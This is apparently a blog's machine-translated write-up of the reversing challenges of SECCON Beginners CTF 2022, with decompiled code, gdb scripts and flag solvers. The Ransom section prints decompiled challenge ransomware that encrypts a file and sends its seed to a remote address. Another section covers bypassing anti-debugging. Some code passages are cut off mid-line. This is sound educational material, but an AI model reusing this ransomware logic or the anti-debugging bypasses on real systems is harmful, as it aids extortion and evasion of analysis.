{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-sec4b-2022-en","result":{"data":{"markdownRemark":{"id":"e40347fd-8195-5062-bbd0-240a7d5d2156","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I participated in SECCON Beginners CTF 2022, which was held from 2022/06/04.

\n

This year again I only took on the Rev challenges, but I managed to solve them all.

\n

\n \n \n \n \n \n \n \n \n

\n

Overall, the problems felt like proper reverse-engineering challenges, and they were very fun to solve.

\n

This time as well, I’ll write up the problems I found particularly interesting.

\n\n

Contents

\n\n

WinTLS(Rev)

\n

You are given a simple PE binary that checks whether the flag string entered through the GUI is correct.

\n

Decompiling the part that validates the input yields the following function.

\n
bool check(char *param_1)\n{\n  int iVar1;\n  char *_Str1;\n  \n  _Str1 = (char *)TlsGetValue(TLS);\n  iVar1 = strncmp(_Str1,param_1,0x100);\n  return iVar1 != 0;\n}
\n

Here, it seems the program determines whether the flag is correct by comparing the input with the string in the TLS area obtained by the TlsGetValue function.

\n

TLS refers to Thread Local Storage, a per-thread private area.

\n

Reference: Understanding Thread Local Storage (TLS) - Thorough Explanation of Windows - Thorough Explanation of Web/DB Programming

\n

Reference: TlsGetValue function (processthreadsapi.h) - Win32 apps | Microsoft Docs

\n

Since TlsSetValue is used to store a value in TLS, I checked where this function is called.

\n

It turned out that TlsSetValue is called at the following two locations.

\n

\n \n \n# TlsSetValue(TLS,\"c4{fAPu8#FHh2+0cyo8$SWJH3a8X\");\n# TlsSetValue(TLS,\"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}\");\n\n# ===========================================\n\na = list(r\"c4{fAPu8#FHh2+0cyo8$SWJH3a8X\")\nb = list(r\"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}\")\nflag = \"\"\nfor i in range(len(a) + len(b)):\n if i % 3 == 0 or i % 5 == 0:\n flag += a.pop(0)\n else:\n flag += b.pop(0)\nprint(flag)\n# ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}\n

Recursive(Rev)

\n

You are given an ELF binary that checks whether the input matches the flag.

\n

When I decompiled it with Ghidra, as the challenge name suggests, it seemed to call the check function recursively over and over.

\n

\n \n .format(BINDIR, BIN))\ngdb.execute('b *{}'.format(\"0x5555555552bf\"))\n\nwith open(\"input.txt\", \"w\") as f:\n f.write(\"ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1\" + \"A\"*(38-37))\n\ngdb.execute('run < {}'.format(\"input.txt\"))\n\nfor i in range(0x26):\n try:\n gdb.execute('continue')\n gdb.execute('xinfo register edx')\n except:\n gdb.execute('quit')\n

If you edit this script and run it 38 times, you can recover the flag.

\n

Ransom(Rev)

\n

This challenge was about manually reproducing a file encrypted by ransomware.

\n

It felt a lot like playing with real malware, and it was a lot of fun.

\n

Decompiling the challenge binary yielded code like the following.

\n

At a high level, it seems to encrypt a secret file using an encryption key generated from a random seed, and then send the seed to an external destination at the end.

\n
if (__stream == (FILE *)0x0) {\n  puts(\"Can\\'t open file.\");\n  uVar2 = 1;\n}\nelse {\n  pcVar3 = fgets(text,0x100,__stream);\nif (pcVar3 != (char *)0x0) {\n    sVar4 = strlen(text);\n    enced = malloc(sVar4 << 2);\n    FUN_55555555557f(__buf,text,enced);\n    __stream_00 = fopen(\"ctf4b_super_secret.txt.lock\",\"w\");\n    if (__stream_00 == (FILE *)0x0) {\n    puts(\"Can\\'t write file.\");\n    uVar2 = 1;\n    goto LAB_55555555591f;\n    }\n    k = 0;\n    while( true ) {\n    sVar4 = strlen(text);\n    if (k == sVar4) break;\n    fprintf(__stream_00,\"\\\\x%02x\",(ulong)*(byte *)(k + (long)enced));\n    k = k + 1;\n    }\n    fclose(__stream_00);\n}\nfclose(__stream);\n__fd = socket(2,1,0);\nif (__fd < 0) {\n    perror(\"Failed to create socket\");\n    uVar2 = 1;\n}\nelse {\n    local_128._0_2_ = 2;\n    local_124 = inet_addr(\"192.168.0.225\");\n    local_128._2_2_ = htons(0x1f90);\n    iVar1 = connect(__fd,(sockaddr *)local_128,0x10);\n    if (iVar1 == 0) {\n    write(__fd,__buf,0x11);\n    uVar2 = 0;\n    }\n    else {\n    perror(\"Failed to connect\");\n    uVar2 = 1;\n    }\n}
\n

Since the seed used to encrypt the flag could be obtained from the provided pcap file, I next set out to identify the encryption logic.

\n

Looking at the part that performs encryption based on the seed, I found that the function at 0x555555555381 generates an encryption key from the seed and uses that key to encrypt the flag.

\n

\n \n \n \n \n \n \n \n \n

\n

The encryption key generated by 0x555555555381 is uniquely determined by the seed value, so I was able to obtain it easily by using gdb to tamper with the seed value passed to that function and capturing its output from memory.

\n
# gdb -x run.py\nimport gdb\n\nBINDIR = \"/home/ubuntu/Downloads\"\nBIN = \"ransom\"\n\ngdb.execute('file {}/{}'.format(BINDIR, BIN))\ngdb.execute('b *{}'.format(\"0x5555555555b9\"))\ngdb.execute('b *{}'.format(\"0x5555555555e6\"))\ngdb.execute('run')\n\nseed = \"rgUAvvyfyApNPEYg\"\nfor i, c in enumerate(seed):\n    target = hex(0x5555555592a0 + i)\n    print('set {}{} = {}'.format(\"{char}\", target, hex(ord(c))))\n    gdb.execute('set {}{} = {}'.format(\"{char}\", target, hex(ord(c))))\n\ngdb.execute('x/s 0x5555555592a0')\ngdb.execute('continue')\n\ni = gdb.inferiors()[0]\nmem = i.read_memory(0x7fffffffdaa0, 264)\nkey = mem.tobytes()\nprint(key)
\n

Having identified the encryption key, I next reversed the encryption process implemented by FUN_55555555545e.

\n

The decompiled result looked like this.

\n
undefined8 FUN_55555555545e(long param_1,char *param_2,long param_3)\n\n{\n  size_t sVar1;\n  uint local_24;\n  uint local_20;\n  ulong local_18;\n  \n  local_24 = 0;\n  local_20 = 0;\n  local_18 = 0;\n  sVar1 = strlen(param_2);\n  for (; local_18 < sVar1; local_18 = local_18 + 1) {\n    local_24 = local_24 + 1 & 0xff;\n    local_20 = *(byte *)(param_1 + (int)local_24) + local_20 & 0xff;\n    FUN_555555555349(param_1 + (int)local_24,(int)local_20 + param_1);\n    *(byte *)(local_18 + param_3) =\n         param_2[local_18] ^\n         *(byte *)(param_1 +\n                  (ulong)(byte)(*(char *)(param_1 + (int)local_20) +\n                               *(char *)(param_1 + (int)local_24)));\n  }\n  return 0;\n}
\n

Rewriting it in Python gives something roughly like this.

\n
A = 0;\nB = 0;\ni = 0;\nsVar1 = strlen(flag);\n\nfor (; i < sVar1; i = i + 1):\n    A = A + 1 & 0xff;\n    B = key + A + B & 0xff\n    swap(key[A], key[B])\n    encrypted[i] = flag[i] ^ (key[(key[B] + key[A]) & 0xff])
\n

Once I understood the encryption logic, all that was left was to create a solver like the following to decrypt it, and I was able to recover the flag.

\n
encrypted = [ b for b in b'\\x2b\\xa9\\xf3\\x6f\\xa2\\x2e\\xcd\\xf3\\x78\\xcc\\xb7\\xa0\\xde\\x6d\\xb1\\xd4\\x24\\x3c\\x8a\\x89\\xa3\\xce\\xab\\x30\\x7f\\xc2\\xb9\\x0c\\xb9\\xf4\\xe7\\xda\\x25\\xcd\\xfc\\x4e\\xc7\\x9e\\x7e\\x43\\x2b\\x3b\\xdc\\x09\\x80\\x96\\x95\\xf6\\x76\\x10']\nkey = [b for b in b'h\\x1d\\x8bu}j\\xe90\\x14\\xe7\\x9b\\xa3Ps!\\x7f\\x04y\\x86)\\xe2\\x01\\xd8U\\xe6]\\xc43L\\x10-\\x05\\xc0\\xc3+\\x15\\x03\\xa4\\xeb\\x9e\\xdd\\x8aE\\xe5\\x02H\\x93,VB$[\\x96\\x876\\xa0\\x84\\x1f\\xa8\\xfb:\\xe1\\x07 \\xf2\\x9a\\xc2\\x80o\\x8cm\\x1ext\\xcf\\xc7cd\\x9c\\xcc\\xd0\\x0fTQ\\xd6\\xdf\\x92\\x9f\\xed\\x00\\xa7\\xf9\"\\xff\\x0c\\xc1(\\xcd\\x8fW\\xf6\\x99z\\xfe\\t\\xaa\\xe8C\\x94\\x06\\xb9\\xb87\\xef\\xf0nD\\x8d&\\xe3\\x85\\x08\\xadK;\\xd2#\\x88\\xb5Z1\\xc6\\x984\\xe0\\xfc\\xb3ek\\x82\\xde\\x91\\x97%\\x19\\xea\\x95\\xa5\\xb2\\x8e\\xa1N\\xba\\xfd\\xb6\\x81\\xc9\\xab\\r\\xda\\xd3\\xbb<\\xf4\\xd9\\xbf\\x11w\\x9d\\xe4\\xbd\\xfa\\x1c\\xbcF{\\xf7\\\\\\xb4\\n\\xd1a\\xaeA8\\xa2\\xdb\\xdc\\x18\\xcb\\xc8\\xee\\x90\\xc5\\x13\\x0b\\xca\\xce\\x1ar\\xd7Y\\xf1Sf\\x16\\xf8\\xb1\\xa9_qMg\\x83\\x89\\xf5\\xd5\\xacI*\\xf3~=\\x12>b\\xbe\\xb0@2R\\x0e?\\xecX\\xaf\\xb7.J`5G\\'|\\x17O\\xa69vi\\xd4pl\\x1b/^@YUUUU\\x00\\x00']\nflag = [\"X\" for i in range(50)]\n# print(len(encrypted))\n# print(len(base))\n\nA = 0\nB = 0\nfor i in range(50):\n    A = (A + 1) & 0xff\n    B = (key[A] + B) & 0xff\n\n    tmp = key[A]\n    key[A] = key[B]\n    key[B] = tmp\n\n    # encrypted[i] = ord(flag[i]) ^ (key[(key[B] + key[A])& 0xff])\n    flag[i] = chr(encrypted[i] ^ (key[(key[B] + key[A])& 0xff]))\n\nprint(\"\".join(flag))\n# print(encrypted)\n# ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}
\n

pleasenotdebug_me(Rev)

\n

The last problem was marked Hard, but personally it felt about the same as the Medium problem Ransom.

\n

The challenge binary is a program that validates the input flag, but it behaves like packed malware and also includes anti-debugging functionality.

\n

A rough solution outline is as follows.

\n\n

\n \n ,1,0x20,stderr);\n /* WARNING: Subroutine does not return */\nexit(1);\n}\n

After patching

\n

\n \n \n \n \n \n \n \n \n

\n

This is a detection method that takes advantage of the fact that multiple strace/ptrace attachments cannot be active at the same time.

\n

For details, the following article was helpful.

\n

Reference: Sebastian Auberger’s Blog | Linux Anti Debugging

\n

By dynamically analyzing the patched binary here, I was able to extract the encrypted flag and the key from memory.

\n

I could also confirm that the encryption method was RC4.

\n

So, by reconstructing RC4 from the extracted data, I was able to recover the flag.

\n
key = [0x62, 0x30, 0x36, 0x61, 0x61, 0x32, 0x66, 0x35,\n0x61, 0x35, 0x62, 0x64, 0x66, 0x36, 0x63, 0x61,\n0x61, 0x37, 0x31, 0x38, 0x37, 0x38, 0x37, 0x33,\n0x34, 0x36, 0x35, 0x63, 0x65, 0x39, 0x37, 0x30,\n0x64, 0x30, 0x34, 0x66, 0x34, 0x35, 0x39, 0x64]\n\nencrypted = \"\".join([chr(c) for c in [ 0x27, 0xd9, 0x65, 0x3a, 0x0f, 0x25, 0xe4, 0x0e, 0x81, 0x8a, 0x59, 0xbc, 0x33, 0xfb, 0xf9, 0xfc, 0x05, 0xc6, 0x33, 0x01, 0xe2, 0xb0, 0xbe, 0x8e, 0x4a, 0x9c, 0xa9, 0x46, 0x73, 0xb8, 0x48, 0x7d, 0x7f, 0x73, 0x22, 0xec, 0xdb, 0xdc, 0x98, 0xd9, 0x90, 0x61, 0x80, 0x7c, 0x6c, 0xb3, 0x36, 0x42, 0x3f, 0x90, 0x44, 0x85, 0x0d, 0x95, 0xb1, 0xee, 0xfa, 0x94, 0x85, 0x0c, 0xb9, 0x9f, 0x00 ]])\n\nflag = RC4(encrypted, key)\n# ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}
\n

Summary

\n

This was my third year participating in sec4b, and compared with last year, I felt that I could solve the Rev challenges much more comfortably.

\n

That said, once the problems get to a level above sec4b, I still get stuck pretty often, so I need to keep improving.

","fields":{"slug":"/ctf-sec4b-2022-en","tagSlugs":["/tag/ctf-en/","/tag/reversing-en/","/tag/linux-en/","/tag/windows-en/","/tag/english/"]},"frontmatter":{"date":"2022-06-05","description":"A writeup of the Rev challenges from SECCON Beginners 2022.","tags":["CTF (en)","Reversing (en)","Linux (en)","Windows (en)","English"],"title":"SECCON Beginners 2022 Writeup","socialImage":{"publicURL":"/static/4fb9b0055352f8cf25bbbf625bf5e7ae/ctf-sec4b-2022.png"}}}},"pageContext":{"slug":"/ctf-sec4b-2022-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}